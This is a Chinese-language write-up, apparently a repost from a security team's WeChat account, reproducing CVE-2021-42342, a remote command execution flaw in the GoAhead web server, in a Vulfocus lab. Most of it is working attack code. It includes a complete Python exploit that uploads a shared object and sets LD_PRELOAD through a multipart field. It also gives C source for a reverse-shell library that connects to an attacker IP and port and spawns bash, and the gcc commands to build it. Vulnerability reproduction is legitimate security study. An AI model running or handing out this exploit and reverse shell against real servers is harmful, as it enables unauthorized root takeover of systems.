0x00 简介概述
漏洞主要是由于上传过滤器没有设置不受信任的var位绕过CGI处理程序的前缀检测,渗透人员可以利用这个漏洞在未授权的情况下,构造恶意程序数据执行远程命令执行攻击,进而获得服务器的最高权限。
影响版本
GoAhead web-server=4.x ;
5.x<=GoAhead web-server<5.1.5
0x01 环境搭建
漏洞环境使用Vulfocus搭建
Github项目地址
https://github.com/fofapro/vulfocus
0x02复现过程
测试漏洞
编译一下
gcc -s -shared -fPIC ./payload.c -o payload.so
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "hello: worldrnrn", 16);
write(1, "hackedn", 7);
}
漏洞poc:
import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult
PAYLOAD_MAX_LENGTH = 16384 - 200
def exploit(client, parts: ParseResult, payload: bytes):
path = '/' if not parts.path else parts.path
boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
padding = 'a' * 2000
content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}
--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";
/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain
#payload#{padding}
--{boundary}--
'''.replace('n', 'rn')
data = data.encode().replace(b'#payload#', payload)
client.send(data)
resp = client.recv(20480)
print(resp.decode())
def main():
target = sys.argv[1]
payload_filename = sys.argv[2]
with open(payload_filename, 'rb') as f:
data = f.read()
if len(data) > PAYLOAD_MAX_LENGTH:
raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)
parts = urlparse(target)
port = parts.port
if not parts.port:
if parts.scheme == 'https':
port = 443
else:
port = 80
context = ssl.create_default_context()
with socket.create_connection((parts.hostname, port), timeout=8) as client:
if parts.scheme == 'https':
with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
exploit(ssock, parts, data)
else:
exploit(client, parts, data)
if __name__ == '__main__':
main()
python3运行
成功劫持
反弹shell
char *server_ip="177.16.2.197";/*The server which accepts shell*/
uint32_t server_port=7777;/*The port which you listen to*/
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/bash", 0, 0);
}
设置接收端口
编译运行反弹shell的.c文件
gcc -s -shared -fPIC ./shell.c -o shell.so
出现warning报错,不用管,查看接收端口成功获得服务器root权限
– End –
原文始发于微信公众号(NS Demon团队):【漏洞复现】CVE-2021-42342 GoAhead远程命令执行漏洞